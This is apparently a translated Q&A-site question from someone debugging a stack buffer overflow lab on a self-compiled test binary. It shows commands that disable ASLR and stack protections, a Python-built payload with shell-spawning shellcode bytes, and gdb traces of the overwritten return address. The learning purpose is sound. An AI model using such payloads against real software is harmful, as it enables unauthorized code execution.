堆栈溢出：不知道是什么修改了覆盖的返回地址的最后一个字节

我正在进行堆栈溢出实验，aslr和nx禁用 . 但是gdb出现了一个奇怪的结果 .

环境：

Linux 3.7-trunk-686-pae #1 SMP Debian 3.7.2-0+kali5 i686 GNU/Linux

禁用aslr：

echo 0 > /proc/sys/kernel/randomize_va_space

使用execstatck编译源代码（Debian没有名为exec-shield的内核参数）：

gcc 1.c -fno-stack-protector -z execstack -mpreferred-stack-boundary=2

这是对问题的描述：

(gdb) disas main
Dump of assembler code for function main:
   0x0804841c <+0>: push   %ebp
   0x0804841d <+1>: mov    %esp,%ebp
   0x0804841f <+3>: sub    $0x208,%esp
   0x08048425 <+9>: mov    0xc(%ebp),%eax
   0x08048428 <+12>:    add    $0x4,%eax
   0x0804842b <+15>:    mov    (%eax),%eax
   0x0804842d <+17>:    mov    %eax,0x4(%esp)
   0x08048431 <+21>:    lea    -0x200(%ebp),%eax
   0x08048437 <+27>:    mov    %eax,(%esp)
   0x0804843a <+30>:    call   0x8048300 <strcpy@plt>
   0x0804843f <+35>:    mov    $0x0,%eax
   0x08048444 <+40>:    leave  
   0x08048445 <+41>:    ret    
End of assembler dump.

(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xba"'`

Program received signal SIGSEGV, Segmentation fault.
0xbafff87d in ?? ()

程序被引导到0xbafff87d并崩溃 . 这是在期待 .

所以我将地址从0xbafff87d更改为shellcode的地址：0xbffff87d .

(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`

Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()
(gdb) i r $eip
eip            0xbffff88d   0xbffff88d

但该程序被引导到0xbffff88d而不是0xbffff87d并崩溃 . 返回地址的最后一个字节已被修改 . 为什么？

我尝试在函数'leave'之前添加一个断点（0x08048444 <40>：离开）：

(gdb) b *0x08048444        
Breakpoint 1 at 0x8048444
#run the program with the large payload as above
Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp 
0xbffff518: 0x41414141  0xbffff87d
#the return addr is indeed overwritten to 0xbffff87d
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff88d in ?? ()

eip仍然领先于0xbffff88d .

我无法弄清楚是什么原因使得返回地址被修改以及什么时候开始了 .

也许我错过了一些知识 . 除了上面的问题，我还认为gdb有时会“缓存”调试程序的运行结果，因为有时gdb会在我已经更改参数时向我显示相同的结果 .

提前致谢 ：）

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更新回答 Leeor 的评论：

它也在gdb外崩溃 . 分段故障 . 当发生segfaulted时，coredump文件显示eip为0xbffff88b . （当我的覆盖值为0xbffff87d时，最后一个字节被修改）

手动覆盖返回地址：

(gdb) b *0x08048444                                 
Breakpoint 1 at 0x8048444                           
(gdb) run test                                      
Starting program: /home/xxx/tests/a.out test    

Breakpoint 1, 0x08048444 in main ()                 
(gdb) x/2x $ebp                                     
0xbffff718: 0xbffff798  0xb7e7ae46                  
(gdb) x/2 0xbffff71c                                
0xbffff71c: 0xb7e7ae46  0x00000002                  
(gdb) set *0xbffff71c=0xbffff87d                    
(gdb) x/2x $ebp                                     
0xbffff718: 0xbffff798  0xbffff87d                  
(gdb) c                                             
Continuing.                                         

Program received signal SIGSEGV, Segmentation fault.                                                                          
0xbffff87d in ?? ()

这是按照我的预期工作（在0xbffff87d没有有效的shellcode，因为我运行参数 test . 我发现当发生"illegal instruction"错误时，gdb仍然会告诉你它的段错误） .

但是当我使用溢出有效负载运行它时，它仍然无法正常工作：

(gdb) run `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`
Starting program: /home/xxx/tests/a.out `python -c 'print "A"*395 + "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" + "A"*94 + "\x7d\xf8\xff\xbf"'`

Breakpoint 1, 0x08048444 in main ()
(gdb) x/2x $ebp
0xbffff508: 0x41414141  0xbffff87d
(gdb) set *0xbffff50c=0xbffff87d
(gdb) x/2x $ebp
0xbffff508: 0x41414141  0xbffff87d
(gdb) c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
0xbffff88b in ?? ()

返回地址的最后一个字节被修改 .